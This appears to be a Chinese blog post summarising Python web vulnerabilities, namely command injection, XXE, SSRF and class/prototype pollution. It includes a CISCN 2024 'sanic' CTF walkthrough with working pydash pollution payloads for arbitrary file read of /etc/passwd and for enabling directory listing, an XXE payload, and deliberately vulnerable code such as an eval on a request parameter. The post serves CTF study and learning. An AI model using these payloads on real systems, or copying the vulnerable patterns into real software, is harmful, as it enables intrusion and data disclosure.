24kcsplus
文章18
标签26
分类0
Python漏洞总结

Python漏洞总结

  • RCE
  • XSS
  • XXE
  • CSRF
  • SSRF
  • SSTI
  • 原型链构造
  • 文件操作
  • 反序列化

RCE(远程代码执行)

常见的命令执行模块及函数:

  • os
  • subprocess
  • pty
  • codecs
  • popen
  • eval
  • exec

常见 Python RCE 情况

ip=input()
os.system(f'ping -c 4 {ip}')
a=__import__('os').system('ls -a') #动态调用实现

或者

a=input()
b=subprocess.Popen(f'ping -c 4 {a}',shell=True)

XSS(跨站脚本攻击)

Coming s∞n

XXE(XML外部实体注入)

感觉有点像反序列化,解析数据时通过操作数据可使其自动执行一些代码

Python 中解析 XML 的几种方法:

  • xml.sax.parse()
  • xml.dom.minidom.parse()
  • xml.dom.pulldom.parse()
  • xml.etree.ElementTree()
  • 一些第三方库,例如 lxml

靶机:https://github.com/hannoch/python-xxe

注意:此靶机需要手动允许外部实体,因为现在 etree 已默认禁用外部实体引入

靶机 payload:


<!DOCTYPE a[
	<!ENTITY xxe SYSTEM "file///etc/hosts">
]>

<user>
	<username>
		&xxe;
	</username>
	<password>
		password
	</password>
</user>

CSRF(跨站请求伪造)

Coming s∞n

SSRF(服务端请求伪造)

常用的可造成 SSRF 漏洞的请求库:

  • requests
  • pycurl

通常 CTF 会过滤非 HTTP/HTTPS 协议,私有地址

进行攻击时通常要考虑如何绕过,比如:

  • 私有地址除了127.0.0.1,也包括整个127.0.0.0/8
  • 可以使用重绑定绕过,将自己的域名解析为私有地址

BUUCTF - Python里的SSRF

SSTI(模板注入)

Coming s∞n

Python 原型链污染

整个原型链污染主要就是依靠以下函数

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

这函数什么意思呢?

用一个示例AI sama 的解释就可以知道了

class father:
    secret = "haha"

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "no way"
        }
    }
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

执行过程详解

初始状态

  • son_ason_bsecret 属性继承自 father,初始值为 "haha"

合并步骤

  1. 处理 payload["__class__"]

    • srcpayloaddstinstance
    • k = "__class__"v = {"__base__": ...}
    • instance 没有 __getitem__,但 hasattr(instance, "__class__")True(实例的 __class__ 属性指向 son_b 类)。
    • 进入 merge(v, getattr(instance, "__class__"),即合并到 son_b 类。
  2. 处理 son_b 类的 __base__ 属性

    • src{"__base__": {"secret": "no way"}}dstson_b 类。
    • k = "__base__"v = {"secret": "no way"}
    • son_b__base__ 属性指向 father 类。
    • 进入 merge(v, father),即合并到 father 类。
  3. 修改 father 类的 secret 属性

    • src{"secret": "no way"}dstfather 类。
    • k = "secret"v = "no way"
    • 直接通过 setattr(father, "secret", "no way") 覆盖父类的 secret 属性。

通过 merge 函数,我们可以构造一个字典,然后改变类的属性等等

但以上示例貌似只能对有继承关系的类进行改动,诶,其实还有办法

类都有一个 __init__ 方法,而函数或类的方法都具有一个叫 __global__ 的属性,这个属性能够将函数或类方法所申明的变量空间中的全局变量以字典的形式返回

然后我们就可以构造类似以下的 payload:

{
    "__init__" : {
        "__globals__" : {
            "secret_var" : 114514,
            "a" : {
                "secret_class_var" : "Pooooluted ~"
            }
        }
    }
}

这样就可以修改无继承关系的类属性乃至全局变量

除了全局变量,还可以修改引入的其它模块的种种内容

{
    "__init__" : {
        "__globals__" : {
            "test_1" : {
                "secret_var" : 514,
                "target_class" : {
                    "secret_class_var" : "Poluuuuuuted ~"
                }
            }
        }
    }
}

以上示例就是将 test_1.py 里的变量和类改变了

除了变量和类,我们还可以更改函数的形参默认值,这主要就是修改了函数 __defaults____kwdefaults__ 这两个内置属性

例如一个函数长这样:

def evilFunc(arg_1 , * , shell = False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

我们就可以构造以下的 payload:

{
    "__init__" : {
        "__globals__" : {
            "evilFunc" : {
                "__kwdefaults__" : {
                    "shell" : True
                }
            }
        }
    }
}

这样就可以修改 evilFun 函数形参 shell 的默认值了

根据以上方法,我们可以修改一些库中重要的变量、类等等的内容,例如 flaskSECRET_KEY _got_first_request _static_url_path 等等,甚至是达到 RCE的效果

但是以上种种都基于有 merge 方法的情况下,例如:Pydash 模块中的 set_set_with 方法

例题 CISCN 2024 - sanic

先访问 /src,获得源码

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

然后访问 /login 并伪造 Cookie

这里如果直接将 Cookie 设为 user=“adm;n” 会因分号被截断,所以要利用RFC2068的编码规则绕过,简单来说就是八进制编码

截图_选择区域_20250412051317.png

代码中可以看到,除了这个分号,还有 _. 也被过滤了

查看 pydash 的源码可以发现它会将 \\. 变为 . ,然后匹配成组的 \\. 来分割

截图_选择区域_20250412051414.png

截图_选择区域_20250412051359.png

截图_选择区域_20250412051426.png

所以构造污染链时要注意这些规则

初步构造 payload 如下:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}

(注:merge 方法的不同实现会让 payload 的形式各异,但中心思想都是一致的)

这样可以访问任意文件了

pre-wired-browser)_20250412051744.png

但是无法访问 /flag 文件,会显示500

pre-wired-browser)_20250412051854.png

所以要找找文件在哪

分析app.static这个方法

跟进源码发现一段注释

截图_选择区域_20250412052137.png

大致意思就是 directory_view 为 True 时,会开启列目录功能,directory_handler 中可以获取指定的目录

继续跟进两次就可以找到要污染的类 DirectoryHandler

截图_选择区域_20250412052311.png

截图_选择区域_20250412052326.png

只需要将 directory 污染为根目录,directory_view 污染为 True,就可以看到根目录的所有文件了

查询资料可以发现,这个框架可以通过 app.router.name_index['xxxxx'] 来获取注册的路由

自己搭建一个测试用环境,代码如下:

from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)


#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
    #return html(open('static/index.html').read())


#@app.route("/login")
#async def login(request):
    #user = request.cookies.get("user")
    #if user.lower() == 'adm;n':
        #request.ctx.session['admin'] = True
        #return text("login success")

    #return text("login fail")


@app.route("/src")
async def src(request):
    eval(request.args.get('cmd'))
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and '_.' not in key:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        return text("forbidden")

#print(app.router.name_index['name'].directory_view)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

全局搜索 name_index

截图_选择区域_20250412053131.png

在上面的地方下断点就可以查看系统调用这个路由时的状态以及其具有的属性

截图_选择区域_20250412053558.png

根据以上信息可以构造处以下 payload:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}

接下来访问 /static/ ,发现已经可以看到目录下的文件了

pre-wired-browser)_20250412054034.png

再试图污染 directory,它是一个对象,而其值是由 parts 属性决定的,而parts的值最后是给了_parts 这个属性,而这个 _parts 是一个了列表,可以直接污染
(注:此处其实是借鉴别的博客的,因为我在复现时完全找不到 _parts 属性)

于是有以下 payload:

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

然后就可以查看文件名了

20240523112223-ac06f1f8-18b3-1.webp

最后结合前面的任意文件读取即可获得 flag

pre-wired-browser)_20250412055631.png


参考:

本文作者:24kcsplus
本文链接:https://24kblog.top/posts/1724511731/
版权声明:除非特别声明,否则本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×